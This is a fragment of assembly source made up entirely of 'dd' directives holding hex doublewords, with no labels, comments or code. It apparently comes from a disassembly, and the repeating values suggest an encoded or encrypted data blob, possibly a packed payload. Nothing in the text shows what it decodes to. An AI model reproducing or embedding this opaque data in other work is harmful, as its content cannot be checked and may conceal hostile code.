		dd 8CDC1D3Ch, 0F74338D5h, 0D5A71BCCh, 90657131h, 13765BE7h
		dd 156BA53Dh, 1D8F1132h, 0F9668832h, 0D3762AE2h, 96F2F884h
		dd 549548Fh, 91698934h,	156647A6h, 157CAF3Dh, 0A0061132h
		dd 15776186h, 53324432h, 2CA63E1h, 7A6EA9D5h, 4EC18733h
		dd 748BDBF4h, 32DC4452h, 74CFA4DDh, 0BFCCB6B3h,	9069EE98h
		dd 1566229Ch, 1576F952h, 6528832h, 8B2751B3h, 5BF4BEF6h
		dd 52E0BA44h, 9A69C9CDh, 15664432h, 0E4E77169h,	6AFA8D9Bh
		dd 0AA31E969h, 15664436h, 3F5DE4B3h, 0EB671E98h, 3F5D66B3h
		dd 1A394B98h, 156625BEh, 14EE1E32h, 0E9668832h,	94D81260h
		dd 0AF75056Ch, 0F9BEB04Dh, 9C387A33h, 753CB864h, 0CDEDF4B9h
		dd 249E2053h, 759EB9F5h, 0A1361653h, 4D80AA34h,	9564FFF2h
		dd 0FBA61EC4h, 288C43Ah, 1A3CD2BAh, 156610BCh, 408F7D32h
		dd 75664432h, 1563A23Dh, 0FBDD1132h, 1A1018DEh,	156646BBh
		dd 74074232h, 156E993Dh, 1A068832h, 0E2E68485h,	0ED57438Fh
		dd 0ED57D603h, 15610F3Dh, 96694432h, 15662233h,	152C79CEh
		dd 9EF8832h, 9D8EF716h,	198F79EAh, 93661132h, 9ED14DB9h
		dd 37B92236h, 0E07E0278h, 155DFF5Ah, 31620132h,	1AB7CF52h
		dd 156620BDh, 74A49A32h, 9F335B1h, 1A674222h, 1567A0B6h
		dd 12E91E32h, 1A668832h, 156645B1h, 0F9E5DE32h,	317A9836h
		dd 74560689h, 0C514FC04h, 0CD67EBACh, 0A8E5ED69h, 13712D64h
		dd 37E24B32h, 0E9662232h, 0F1238CBFh, 108F8E24h, 0A1664432h
		dd 4663FB43h, 0EC06C2CDh, 1560063Dh, 90694432h,	15662232h
		dd 85599153h, 15330C3Dh, 90694432h, 1566223Ah, 15649E3Dh
		dd 74068832h, 1563FE60h, 0C2672232h, 944205B9h,	15668CF6h
		dd 1569AD32h, 35BC2232h, 1BA5F63Ah, 0F3C3D46Ch,	0E3EABABEh
		dd 14E12DCDh, 0E9661132h, 15674FDBh, 1577AD32h,	0BC8E2232h
		dd 0C7D9651h, 7B4A0BC6h, 63DAB006h, 960EC9ABh, 976941CAh
		dd 156688F9h, 0D3E72252h, 48F88CAh, 94661132h, 0BDF2E5CAh
		dd 994C561Bh, 9517FF70h, 0C5A9DFAEh, 6E28753h, 0FC664432h
		dd 1566223Ch, 39AF8EB0h, 2D899A3Eh, 0DED6FFBCh,	0A7345716h
		dd 3D88A15Eh, 0D06AD2E2h, 0DD98E106h, 1B8FF31Eh, 0BD661132h
		dd 4E417EF6h, 0E2D5AC74h, 72EAE7CCh, 759ABB14h,	15668FDBh
		dd 0B2ECC632h, 0FEA5101Eh, 156617DBh, 0FD91C532h, 742BD1B8h
		dd 404226B9h, 0D0E7F4BBh, 15668836h, 926281B1h,	0ED3A061Eh
		dd 14E71E98h, 0EC668832h, 1566E8DBh, 11EE2D32h,	75661132h
		dd 75074BB9h, 15EC4B52h, 0FC662232h, 15661135h,	0B1B42D62h
		dd 7457387Fh, 156633DBh, 0F33CA032h, 71B4EDB9h,	4CB50D8h
		dd 1A3E43A9h, 0EA07F8C6h, 943EAC06h, 156640F6h,	1CE32D32h
		dd 75661132h, 9400D762h, 744CA7E4h, 10E12D98h, 75661132h
		dd 7439DACEh, 0FC993BB2h, 1521A73Dh, 73061132h,	0FFB56B3h
		dd 58FBD68Ah, 0A8E5430Ch, 1371B464h, 4E28732h, 0E0664432h
		dd 0F653BFBFh, 73061724h, 0AFCC60B3h, 0E9B5BB53h, 9DA5AA61h
		dd 9ED156Dh, 11A20916h,	1A664432h, 15662AB4h, 17E01E32h
		dd 75668832h, 84E3CF53h, 1A603213h, 156610BFh, 0AA317D32h
		dd 20044477h, 0E26EC5F3h, 0B29190EDh, 943BCD44h, 441DDDD5h
		dd 5B91A332h, 1429626Eh, 0ED4FD7CAh, 76738B1Fh,	1A34427Dh
		dd 156611B7h, 9E00D332h, 0AC3725CCh, 15662236h,	5A2B6F37h
		dd 38AEA115h, 3229094Ch, 156ACB6Bh, 56661132h, 17591F2h
		dd 6E27ACE6h, 0E0CD4716h, 156FF89Fh, 3C7B8832h,	0EE272C0Fh
		dd 441A23D8h, 3734918Bh, 0E7D9DF2Ah, 52326770h,	7A36D5B3h
		dd 0EC6F32FCh, 94BF7F6Dh, 0FA19E7F3h, 0E928AB4Dh, 9400716Bh
		dd 0FDB64AD5h, 15664423h, 0FD56A699h, 0FCE5CE3Fh, 812485AFh
		dd 17446365h, 7438DB0Eh, 0EA9D37DBh, 0F2E7E8CDh, 5559C24Fh
		dd 9C077865h, 5690087h,	15766134h, 0E6D4432h, 878B3D6Fh
		dd 3D41EC67h, 17301362h, 7306585Ah, 9FFB4C8Bh, 9C3570DAh
		dd 11A509D1h, 96664432h, 9E126D9h, 1EF4D16h, 7D07E816h
		dd 1566C432h, 74B1A952h, 188F1158h, 75668832h, 63EF45D3h
		dd 9ADBFE3Eh, 29BEAE82h, 26233DCDh, 0EA9A4222h,	54997A7h
		dd 0FBE77134h, 4B354AEFh, 0F2A6C554h, 1ED438Eh,	0F3EF4716h
		dd 15624EB3h, 0D3E74432h, 15662236h, 494225B5h,	15686152h
		dd 4A2B4432h, 80C387C7h, 944C486Ch, 0A98312FCh,	1565C93Dh
		dd 0FCE62232h, 98ED7073h, 1376A733h, 0A5DB11CBh, 9438931Ah
		dd 277763D7h, 0BFA30920h, 40568C0Ch, 484236C5h,	2BBDD4B3h
		dd 3CEFCACAh, 1575AD6Fh, 7B612232h, 0C30E7DAFh,	8DD1D482h
		dd 0E0E1691Eh, 1034B8EFh, 11D9462Ch, 94668832h,	0A93FE3F3h
		dd 949F234Ah, 0A93FB6DBh, 9C93D74Ah, 54945BFh, 0AD8FDB34h
		dd 0FC99EEF4h, 15668820h, 5AE74930h, 32438Dh, 6B67614h
		dd 8AFBFB4Fh, 128F4C48h, 78662232h, 0C4DE0754h,	9C8F5001h
		dd 0E066441Bh, 1574CB52h, 0ACBC1132h, 0F65C6939h, 0A6507ACEh
		dd 3DF7E4B7h, 8B784898h, 14EB03CEh, 0E060541Dh,	0EC3F13CDh
		dd 0B0349CBBh, 1A068E25h, 156646BBh, 74ACA932h,	412829B3h
		dd 9069C476h, 156644A4h, 6DE744CAh, 1A485D36h, 156601B7h
		dd 1A8E2432h, 94662232h, 94E395ACh, 21723BA5h, 7B0140D8h
		dd 1A39E50Fh, 156614B2h, 0DFE7EE32h, 0FC07D4F6h, 1566223Ah
		dd 9EB09471h, 73371C7h,	15488E5Ah, 3162AB32h, 274215B3h
		dd 4B48F93Eh, 1954AAB3h, 0A5060C43h, 0AA317021h, 15668834h
		dd 607DAAB3h, 0EB676FA0h, 607DD7B3h, 7539C5A0h,	156649DBh
		dd 60DBD032h, 2FFCA418h, 0CA8BD25Ch, 0EBEC7E91h, 6CE3A953h
		dd 1A60013Dh, 156689B7h, 7406BC32h, 1562FDDBh, 0F9E5E932h
		dd 31620136h, 894268B3h, 4B56166Dh, 4AFAD7B3h, 459EB806h
		dd 0D4268B3h, 4F6A9D32h, 157EAA61h, 0CF67848Dh,	90692469h
		dd 15662237h, 3AA19054h, 108FE8F9h, 0C7664432h,	0CFF4B283h
		dd 74077052h, 0D3D98752h, 0EB4B9AB3h, 24076F18h, 976971FBh
		dd 15668834h, 4646ABB3h, 0AB060F56h, 7FCF1092h,	0CAFF6FB3h
		dd 740708C8h, 156ACB9Eh, 2F171132h, 4B1F8721h, 25809567h
		dd 155A95A8h, 14C5953Dh, 29938832h, 0C8E24B1Fh,	0FC99DDCDh
		dd 15661139h, 286BD00h,	92A194C9h, 29FE58BDh, 17E21E1Ch
		dd 0EC668833h, 9769740Eh, 15662727h, 0FCFFA652h, 15668822h
		dd 0DF94EB89h, 727639Ch, 27681EC0h, 0ADDE7F2Fh,	1A5F7853h
		dd 0EA99B9B4h, 0E1EC71CDh, 36E3754h, 1A277853h,	1562C6B0h
		dd 1EE91E32h, 75668832h, 0BB3B8FB3h, 0A2694779h, 4F5A70E2h
		dd 0EA140E3Dh, 7506BBCDh, 3D82DC8Dh, 1575F80Dh,	3CF68832h
		dd 332AE3D8h, 0EBB445FAh, 83EF7048h, 0F7AD4ECDh, 0AE0025C6h
		dd 290792FCh, 50E21E6Dh
		dd 0FC9977CDh, 1566443Bh, 4A91387Bh, 75AE08Dh, 9E00E8CDh
		dd 2907B8E5h, 97E42D53h, 0FC661136h, 1566883Ch,	549EF132h
		dd 0ACB8059h, 8558DF0Fh, 6F5A898Bh, 0EA68C23Dh,	9869DDCDh
		dd 15661129h, 0FCA40352h, 15664420h, 0E730296Ah, 0DF36E0B9h
		dd 216FF9B6h, 0D6F4BFFBh, 0FC07B139h, 15661573h, 15669BDBh
		dd 3D02CC32h, 0F3A37A35h, 7A17A39Eh, 8795EEC2h,	4A8F6159h
		dd 1561AC3Dh, 91691132h, 15668833h, 0BED913C7h,	9463B96Bh
		dd 8E3FBBC5h, 4A9C8937h, 15664FDBh, 6BAC8032h, 6E6A525Eh
		dd 4CDDF3h, 9169B60Bh, 156621C7h, 1567983Dh, 469E8832h
		dd 0EA15EB89h, 0D1A5A327h, 9407223Ah, 525C9ED9h, 1D858511h
		dd 946EC1F3h, 0B799EEC1h, 4EBC898Fh, 0CDD14B52h, 9648FAB3h
		dd 45072E57h, 1566898Ah, 4DA74532h, 0D41B9852h,	9E0025E4h
		dd 448FE9E4h, 0E099BBCCh, 1561A03Dh, 9C691132h,	15668833h
		dd 1AAFC1CEh, 1565B6B6h, 0A0EBE932h, 13768F6Fh,	1561C63Dh
		dd 73062232h, 27A9C1B3h, 19EDDA53h, 11A2C516h, 0FC662232h
		dd 15661135h, 154DEE6Ah, 96544D75h, 21EF26DEh, 9CB09816h
		dd 469FD6C5h, 0A4377281h, 4CAD12EFh, 0CE90D2CCh, 9D7C4BB2h
		dd 68F1FEAh, 9B662232h,	5BBA36D3h, 69C33A6Ah, 87631A1Bh
		dd 0FB181E4Fh, 60C80A36h, 976970CFh, 15664433h,	0F6A7A3C7h
		dd 3C4EC36Ch, 0F6DBDDCBh, 3C4E966Ch, 1F8F7FDBh,	0B4661132h
		dd 2054DE79h, 0C59D53D2h, 15664AF5h, 194F1132h,	316A0316h
		dd 756280B1h, 2F89B54h,	0F3899053h, 3C6AB236h, 0F3DC16FDh
		dd 146A1836h, 9F694BE5h, 1566883Fh, 15664CDBh, 16BBD632h
		dd 21A03F04h, 2491B9DEh, 0FC9175CCh, 1566223Ah,	0A4F9AB9Dh
		dd 0BE565589h, 9269E0C1h, 15662220h, 15661CDBh,	26E49D32h
		dd 0E123EF1h, 7B05B846h, 0A23516D3h, 0D5B97EDAh, 0F2A647DDh
		dd 1591A23Ah, 9E996EBAh, 0D1E5AC2Eh, 989FBC36h,	5617FA7h
		dd 90EDE434h, 13768F47h, 73BBCE52h, 2619F1B3h, 1AA69453h
		dd 15661DB7h, 58E2432h,	0A5662232h, 0D560B999h,	0E9A7F8B0h
		dd 51E26B26h, 73802ED2h, 4DF55288h, 0F0E34E53h,	52605411h
		dd 156629DBh, 65FF3C32h, 70A0998Ch, 3B034B1Dh, 8FC1F05Ah
		dd 2EB1EE6h, 0FC668832h, 15664420h, 0C2663902h,	0D4905763h
		dd 435A9D38h, 0AB16DD1Fh, 0A099E423h, 13760C77h, 11EC8752h
		dd 73664432h, 738CD289h, 7754D0B3h, 9FE30553h, 1A6057B7h
		dd 156623BAh, 0C599E932h, 15756152h, 3EE94432h,	6709C1A9h
		dd 0ABFA81E9h, 2525B897h, 53BF6423h, 520E43FCh,	9C661160h
		dd 7406AC26h, 1A0694CDh, 0AA69D58Dh, 0D5E370C3h, 15B00D3Dh
		dd 92694432h, 15662233h, 0C8E39AC7h, 75609827h,	0BA91C554h
		dd 746391DBh, 9069D1B7h, 15668842h, 0F0E382CBh,	59603211h
		dd 15661EDBh, 0C6BA3232h, 99ACAC05h, 0CC28FDD0h, 48913986h
		dd 0CF7A615Ah, 1CE54BEBh, 75662232h, 750CAB54h,	74903F3Dh
		dd 823F1CDh, 93692422h,	15661133h, 9FE305C7h, 756057B7h
		dd 156625DAh, 6F8DD232h, 363E5DFEh, 529CABB3h, 1A3F0775h
		dd 156610B5h, 0EA077D32h, 156CADE2h, 0BC262232h, 18514F79h
		dd 0F46781D6h, 9487CD63h, 156626F3h, 118F9032h,	92668832h
		dd 9C3A603Eh, 0EA930626h, 1DE11EE2h, 1A668832h,	156646B2h
		dd 90074232h, 0CE31EF2h, 75668832h, 6A78FD54h, 1595CB53h
		dd 1C8F1132h, 0D9668832h, 0A946CAFDh, 0B9D58DD0h, 0B03494BBh
		dd 1D8F8E25h, 97664432h, 303CD4B3h, 467F1910h, 0D6E76BBBh
		dd 15664436h, 9262C9B1h, 9C3A352Eh, 198FAC36h, 65664432h
		dd 0A3F8C10Eh, 0C9E6A0D0h, 404207E3h, 0D0E7A1BBh, 15662236h
		dd 9262FCB1h, 9C3AAC1Eh, 138F6006h, 90662232h, 8F64991Eh
		dd 6CE30593h, 756057ACh, 156631DAh, 0C50B0D32h,	0EBC36C6Bh
		dd 0C157E559h, 6E529105h, 32E09A5Bh, 0B2C0318Bh, 90691B5Fh
		dd 15662230h, 0EA07E8B9h, 0AF06E8E2h, 56BD1D81h, 68F7553h
		dd 76661132h, 2CBAE0F0h, 7F34F5F6h, 0CF364311h,	3CFC2B5Ch
		dd 743F20EEh, 1AA64FCAh, 15660DB7h, 1572F832h, 3DA88832h
		dd 0AC2BFF73h, 19F70096h, 8A702673h, 0B757EF4Fh, 38F5159h
		dd 1A662232h, 15661AB9h, 0C4E6E832h, 15E34B91h,	74662232h
		dd 94255BBh, 0D69FE9CAh, 156654DBh, 0C32F7A32h,	0DFB63995h
		dd 1EFBCF36h, 2C9847D7h, 0E906DA34h, 0B0349CB9h, 1A938E25h
		dd 156648B6h, 1561CB32h, 0ACC81132h, 999189B5h,	7C522C0Bh
		dd 11EF2232h, 1577F816h, 0C9C68832h, 845687C3h,	66C2DAE0h
		dd 0C8719A8h, 4731FEF0h, 0C5EF8EBBh, 944236B9h,	156615F6h
		dd 15776132h, 1E44432h,	7D43AA77h, 573EAFEBh, 0F060BF03h
		dd 4733B322h, 4A999C64h, 0DBE709B3h, 751BB93Bh,	335482B3h
		dd 0FBE76543h, 6BD13549h, 941C66B3h, 0E7EF0585h, 16A4236Ch
		dd 93694B30h, 1566883Bh, 0E2E72252h, 74068254h,	9DDF4053h
		dd 14668832h, 4F57BBF3h, 9E00426Bh, 3CBC90FCh, 74211A35h
		dd 1963D1BBh, 969F2422h, 9EF15DEh, 159E3316h, 0CD674432h
		dd 0AC37DE69h, 1566113Eh, 24994933h, 97691D68h,	1566223Bh
		dd 73969A52h, 6C0349B3h, 12E94B53h, 75662232h, 9E007052h
		dd 80EFE9E2h, 1376573Bh, 3152DDCEh, 11A2906Ah, 0FC668832h
		dd 1566443Ch, 10BD6FAFh, 9DE12B3Fh, 9CA65B25h, 619972F5h
		dd 11ED0616h, 11A29016h, 75668832h, 380786B8h, 178E3394h
		dd 4A1C731Fh, 10AEA15Dh, 7A393E50h, 0FD778437h,	0CAED7130h
		dd 2E0756B8h, 5754DB7h,	51E42D34h, 0E9661132h, 19630D09h
		dd 96694222h, 15662205h, 15661DDBh, 0E9ADE032h,	0ED2EBEF4h
		dd 0B7B69228h, 0A00670E6h, 0C7E7EEB5h, 0D707BD24h, 18F2236h
		dd 0E5661132h, 0D2D6EF74h, 96D89615h, 53F2510Ch, 3E6D8A21h
		dd 74A83145h, 156ECF3Dh, 95692232h, 15661130h, 4431E952h
		dd 0D172795Ah, 0FCE77B30h, 73EE21DCh, 0E4E761E3h, 5B7BB595h
		dd 9C3FEDBBh, 4A62354Eh, 15669CDBh, 873B132h, 2A9B3F82h
		dd 0D3B9FB03h, 6C55A819h, 682C55C8h, 3122E596h,	584E1736h
		dd 31227724h, 3112C536h, 24ADE36h, 310A903Fh, 6E164336h
		dd 310AC52Ch, 0C817C736h, 3132E660h, 31327F36h,	3112C536h
		dd 14446936h, 0CEB1E98h, 0FC668832h, 15664426h,	3AC6D7F2h
		dd 0CD3DC022h, 5FA46DDAh, 4D4CE2F2h, 6466873Ch,	172B978Ah
		dd 59DDDB69h, 24099748h, 0D04B79EAh, 1A52C005h,	15668EB2h
		dd 0ACD72432h, 9807ECB9h, 52894BFh, 15616134h, 0FDA34432h
		dd 0EC36F47Ah, 0E087EE68h, 0AE357052h, 15664432h, 0AF34D133h
		dd 15661132h, 17EC5233h, 29931F68h, 7BE22DDBh, 0FC661133h
		dd 15668822h, 3C0FBD23h, 751371B3h, 0FD7146B6h,	1911198h
		dd 9169AC0Eh, 156623A8h, 78B09152h, 1A69B453h, 156637B6h
		dd 156ACB32h, 74281132h, 0F8DD2927h, 4E5ACC44h,	0D85ADCB7h
		dd 14B6953Dh, 0EC068832h, 156641DBh, 33AE332h, 29077314h
		dd 0E7E287D9h, 75664433h, 0ACBFA354h, 0EAD11EB2h, 188FE953h
		dd 85664432h, 0AB9E7E51h, 0E508615Bh, 0FAF0315Dh, 0DFE724F1h
		dd 418B3E75h, 156617DAh, 2A026532h, 1A11876Ch, 743FEC85h
		dd 156C993Dh, 108F8832h, 8A664432h, 0EBD3F4E5h,	14D94660h
		dd 9C668832h, 0E7671BC8h, 0EC3C38B8h, 83D641CEh, 0EB053B61h
		dd 0EBB5B2F1h, 6495A2F9h, 213DC93Ah, 21E38C31h,	35217004h
		dd 58F7AF1h, 74661132h
		dd 0A8EEC5CAh, 0A16B43B1h, 2EC58C4Eh, 95923034h, 906908C9h
		dd 0EA99BB4Bh, 1561A63Dh, 1A061132h, 4A344385h,	9ED1253h
		dd 11A2A116h, 156605DBh, 4A4FA732h, 16523F83h, 4C76C50Dh
		dd 1935D396h, 0F2D095D9h, 13DF1563h, 14662232h,	316A9AF9h
		dd 15624CB3h, 0FC064432h, 15662226h, 4990BAF4h,	8C5F33EFh
		dd 2E60A1D6h, 0EB112869h, 93A7CB77h, 92C56B3h, 7D0723FEh
		dd 15661944h, 0AC421DBBh, 15668830h, 0C65B533h,	0B88FDA6Bh
		dd 0FC661132h, 1566883Bh, 85685901h, 330EFEDBh,	1410EEAEh
		dd 944294B9h, 156640F6h, 1A064232h, 749ADE85h, 0EE9D0B53h
		dd 15B9C03Dh, 99692232h, 15661120h, 156685DBh, 0D565A332h
		dd 14784EBh, 0F52120C0h, 1A8F121Bh, 93664432h, 73832612h
		dd 7D109C2Ch, 2EED4402h, 9E303BDCh, 0D1E5062Eh,	14EC1E36h
		dd 0E0668832h, 1567FD63h, 0FCE72232h, 676C5553h, 0D4E77933h
		dd 676C0053h, 753F3B31h, 9D69ED52h, 15668832h, 1E8F1753h
		dd 0C5662232h, 2207714Ah, 9C6A5184h, 743E1799h,	15639A62h
		dd 0D6671132h, 96428CB9h, 0A50640F6h, 7489A843h, 0EA9841DBh
		dd 0A3697DCDh, 9506456Ch, 0FD069CDEh, 1566113Ah, 0AAC1FB2Dh
		dd 0C6D6777Bh, 743C746Bh, 3B8D9253h, 0EB4D0C3Dh, 0FC9FBBCDh
		dd 1566221Fh, 1561933Dh, 75068832h, 1292C453h, 1418A253h
		dd 1BE31ECCh, 0FC9977CCh, 15664423h, 36D576A5h,	562FBECAh
		dd 6E9FEBE9h, 1C3FCB8Eh, 0E9C3CB5Eh, 9269EECDh,	15668825h
		dd 156656DBh, 41106332h, 0BDD248B2h, 0A64DFFBh,	0E8BFFD4Ah
		dd 7D26E5B1h, 15664E57h, 0FC42BCBBh, 1566443Fh,	9A656677h
		dd 0FF844814h, 0DDA9BE90h, 7E332CF4h, 19EF2232h, 4E71E16h
		dd 0FC668832h, 1566443Eh, 66CBEC98h, 3C1383FFh,	8965EB37h
		dd 0EFAFA52h, 68F24E7h,	0F8661132h, 1B03A729h, 0C33AC51Ah
		dd 9CC4CDEEh, 57DA9163h, 7D07B79Fh, 156600CFh, 75423EBBh
		dd 156614DBh, 88E6F032h, 0AE00A3ECh, 7D07DBD3h,	156659F5h
		dd 7542B4BBh, 156641DAh, 7B701632h, 4C9FEFCCh, 0B1B00954h
		dd 0D55725B9h, 479F8EC7h, 0C6EED3BAh, 96429CB9h, 946940F6h
		dd 15662224h, 156600DBh, 71718B32h, 246EB2Bh, 0C3A6B809h
		dd 650A14AAh, 4700F7B9h, 0C646B480h, 3172A954h,	1564D5B3h
		dd 95938832h, 916934C9h, 156627A4h, 15661BDBh, 30DC5532h
		dd 5ACE4EF0h, 293AF4EEh, 0EFE21E3Dh, 0E9668832h, 1567C93Dh
		dd 29932232h, 0C3E21EDBh, 1A668838h, 156657B9h,	1568CB32h
		dd 1941132h, 95B844C7h,	0B4371CB1h, 10E23CADh, 9169FA0Eh
		dd 156686AAh, 1573CF3Dh, 58F2232h, 19661132h, 0D6E7B121h
		dd 34347AB2h, 0A3F18C3Ah, 0ED93C1CBh, 91696B0Eh, 15664774h
		dd 9ACA9C52h, 0ED076794h, 91696A0Eh, 15664B4Ah,	156CA23Dh
		dd 1A061132h, 156688B5h, 7495CE32h, 4A4216CDh, 1562D5B3h
		dd 58F8832h, 0BE664432h, 4C730B17h, 0A6D71645h,	1087B4BCh
		dd 9E78D0D9h, 9C33062Eh, 11A390D7h, 96668832h, 39E140F7h
		dd 9F697E16h, 15661133h, 156F61CBh, 285E4432h, 967DA313h
		dd 9E19EEF7h, 9C33AC3Eh, 11A3C5D7h, 94662232h, 156615F7h
		dd 314A0F32h, 21EDBC6Eh, 0F6EF7116h, 1562D2B3h,	0D6E58832h
		dd 317AC336h, 19EA2D6Eh, 1A661132h, 15668EB8h, 15EF4B32h
		dd 0D6662232h, 37E3D6CEh, 13609F94h, 0ED664432h, 1508D55Ah
		dd 31729832h, 15668888h, 9F944532h, 47937828h, 0A71DA162h
		dd 4DA4A06Eh, 0D56EA6F2h, 0DFE62AD0h, 0E3A4EF76h, 5E9408E8h
		dd 753C9712h, 15E12D60h, 4E661132h, 749C0354h, 1AE6BFB2h
		dd 0EA9909B7h, 1DEB1ECDh, 75668832h, 0AD002552h, 4607D906h
		dd 0EA99EE89h, 4EB889CDh, 0F0E3CFCBh, 1A60321Fh, 156610BAh
		dd 80ED7132h, 13766C6Fh, 156632DBh, 7A858A32h, 89F65340h
		dd 5656E18Ch, 0CC463302h, 11E74774h, 0E57AA916h, 0A8331F20h
		dd 70DF05F9h, 9464F4F3h, 1E585C7h, 488D6DB6h, 1577AE3Dh
		dd 198F1132h, 0DC668832h, 7E846446h, 52494FE7h,	7D26AD2Ch
		dd 1566B2DFh, 0A84268BBh, 15662234h, 0FC3BFA33h, 1566883Dh
		dd 43366965h, 0DB824EEBh, 0A31A4DB5h, 1AF30872h, 156656BAh
		dd 156BCB32h, 27181132h, 7AFAE79Fh, 33650987h, 451E14C7h
		dd 1566138Ah, 44968932h, 1566448Bh, 16A72332h, 0E03E482Bh
		dd 97695009h, 15664424h, 15662ADBh, 0D5089132h,	0F898C768h
		dd 1ABC7F09h, 0EA9869B4h, 0D6E7E4CDh, 7D04C77Dh, 0AC37BF1Bh
		dd 0B035ACBh, 948FC07Bh, 0EB4494FBh, 12878575h,	6429D3B3h
		dd 0DE4F860Fh, 9A69706Bh, 15664433h, 0AC3772C7h, 15661134h
		dd 3C3F40BBh, 1A9F1CF1h, 156632BBh, 1FE01E32h, 0FC668832h
		dd 15664437h, 16FA4162h, 0FCCB7755h, 15668839h,	0CA3CB461h
		dd 2135A844h, 7356D3E9h, 1FE18799h, 75664432h, 73A7A954h
		dd 3C57F6B3h, 4D35D853h, 964258B9h, 1B8F26F6h, 0A7661132h
		dd 1B13316Eh, 0CFF3DD8Ah, 0A5F59D03h, 9269BAC1h, 15668825h
		dd 156656DBh, 7DBF2832h, 557BB42Fh, 7A6B7093h, 13EC9F4Eh
		dd 40B602A0h, 1566158Fh, 9E888932h, 0D1E5601Eh,	23D64236h
		dd 0F5E77752h, 0E1D90982h, 74190026h, 315AAB53h, 15661EDBh
		dd 11169732h, 4275C607h, 0BBCD3CEEh, 5E617062h,	1942FCBBh
		dd 14EE4BC7h, 0E9662232h, 1FF7A4BBh, 0FC9A8E22h, 1566443Ch
		dd 619A83AEh, 2F155587h, 718D7D1Fh, 21990C5Fh, 0D1E77D16h
		dd 15661136h, 0EFEDEE52h, 317ACF53h, 9483AB67h,	156615F7h
		dd 11A30B32h, 494268B5h, 316AA9CAh, 94839867h, 15668CF7h
		dd 11A3C732h, 49420EB5h, 31529ACAh, 94810165h, 156640F5h
		dd 11A1A132h, 49422DB5h, 4B32DECEh, 156282B3h, 0D3E52232h
		dd 31529636h, 14E9876Eh, 0E9664432h, 0EA86F9DBh, 90A1E9CDh
		dd 13712E10h, 15664430h, 0EBED4452h, 15649B3Dh,	0DBD18832h
		dd 0A10EBC53h, 9C662244h, 0FC3D3506h, 15668820h, 0F5BE279Eh
		dd 0F38EA162h, 0ECE1B09Bh, 0B81C3A65h, 0A3696555h, 19E62D3Ch
		dd 1A661132h, 15668EBEh, 15EC4B32h, 95662232h, 966991CBh
		dd 1566885Fh, 156657DBh, 6B5E1D32h, 0F2B6CA80h,	2E4D67A9h
		dd 0AB81797Ch, 56E22E6Ch, 41E1AF64h, 0E64FF5FEh, 94AD456Ch
		dd 0D932A5F1h, 0DEED714Fh, 0ADDCDA53h, 0E26A8F45h, 5FB4D5E0h
		dd 52949070h, 3C95BCBAh, 1E8F1EE1h, 0C5662232h,	3F2957BAh
		dd 0C49D715h, 0BF8F5F22h, 75662232h, 5D0DD2B3h,	7507BBAAh
		dd 1565C53Dh, 9E002232h, 0F5B391CCh, 0A235D853h, 95A9BA6Bh
		dd 0CA90C7C5h, 0E3D1DEB2h, 1F8908EDh, 3D3DBCBAh, 9F067AF3h
		dd 13E61EECh, 1A668832h, 156644B5h, 150E4332h, 3C661132h
		dd 19EDAC3Eh, 11A2C716h, 1576A93Dh, 1E8F1132h, 3A668832h
		dd 7B59F074h, 51A94037h, 439F0D7Fh, 910AA98Ch, 0B380C55Dh
		dd 9454356Ch, 112ACEC4h, 9E97A910h, 0D1E76006h,	15662236h
		dd 21DE41CBh, 1472E649h, 0DE4F1CF1h, 6E52C9B3h,	78F055Ch
		dd 0CF668832h, 0E5381E0Bh, 37A992CDh, 348A8328h, 0F779A410h
		dd 0F0E3CFF2h, 0EC60321Fh, 3D3B84B9h, 92698E22h, 15664439h
		dd 156624DBh, 3394932h,	96A6DD05h, 54C598Fh, 91692334h
		dd 156615B5h, 1562053Dh, 75064432h, 73064353h, 1A02AD88h
		dd 156682B7h, 1563AD32h, 70412232h, 74D6B7C4h, 97694B0Bh
		dd 1566406Dh, 1AB51BCEh, 0EA9D36B0h, 14EE87CDh,	0ED664432h
		dd 1578A73Dh, 0AD061132h
		dd 7EF1D4FDh, 156656DBh, 0DE0BDB32h, 0B48A03F1h, 0AC74D6DEh
		dd 0CB4CF021h, 748C94A4h, 156237DBh, 90A17D32h,	1371E210h
		dd 15662230h, 15679E3Dh, 0E99A8832h, 9C62A8B1h,	39E70606h
		dd 0D0618016h, 0D6E7D318h, 3FA343A3h, 1570A03Dh, 9B691132h
		dd 15668822h, 15664FDBh, 3EE7F332h, 2253477h, 0B0E37896h
		dd 0E968F23Dh, 1AE6DBB2h, 15668BB1h, 2E78732h, 0FC664432h
		dd 15662220h, 0A470D078h, 6CEC6DEh, 6C4CD87h, 983B3345h
		dd 1A061B81h, 15668ABDh, 733E1432h, 0A5B3D3B3h,	3BA59053h
		dd 1454DC35h, 99DF15F9h, 944CA662h, 0FA6137D3h,	3F970916h
		dd 3C749435h, 9F697BF9h, 15661127h, 1569053Dh, 1F8F4432h
		dd 0DE662232h, 86BA6B69h, 71CF0B2Dh, 1E84B49h, 75662232h
		dd 156616DBh, 21646232h, 0F0D6F1FAh, 1566A43Dh,	42071132h
		dd 0EA99778Dh, 4A9D6DCDh, 15C2CBCEh, 1D8F1132h,	0AB668832h
		dd 3921A900h, 46A9A7E0h, 9D66A463h, 0F6B6D1D9h,	3D67AFB2h
		dd 198F79EBh, 5B661132h, 63E53E23h, 0A51C3364h,	44FA2D42h
		dd 0E23B4867h, 1A8F0FEFh, 15664CB1h, 17E12D32h,	75661132h
		dd 68FE853h, 0EB664432h, 677772Ch, 0F0E0789Eh, 3D9C2EA2h
		dd 74C32DFFh, 4CDE4CF0h, 747D7EE2h, 15993765h, 0EC474432h
		dd 94421EB9h, 156615F6h, 15686132h, 5B514432h, 9F6010F3h
		dd 163D8371h, 0F86CC1E6h, 3937FA64h, 0E64F592Bh, 94AD386Ch
		dd 0C4AD9F1h, 12ED4B49h, 1A662232h, 156610BFh, 90ED7132h
		dd 137669D7h, 1573A63Dh, 58F1132h, 45668832h, 192D83B6h
		dd 0F45B5A51h, 66257006h, 9ECFEB39h, 54E19A7h, 1572CB34h
		dd 0F4D01132h, 4C20224Dh, 0C34972F0h, 0B7E99D0Fh, 7CF27D5Bh
		dd 0A8E5CFCCh, 13766E2Fh, 4DE22D33h, 0EC661130h, 97695009h
		dd 15664411h, 156DCA52h, 39D61132h, 0BACA31B7h,	0A1B58F6Fh
		dd 4CCC9658h, 0BDB99054h, 0C65FE97Ah, 0ED98C23Dh, 409EDDCDh
		dd 0EA99EE8Fh, 488889CDh, 0B075FE52h, 0A2690C21h, 473570FBh
		dd 0E2EE3984h, 0B789C468h, 0FC3DDABAh, 1566113Dh, 6CBF754Dh
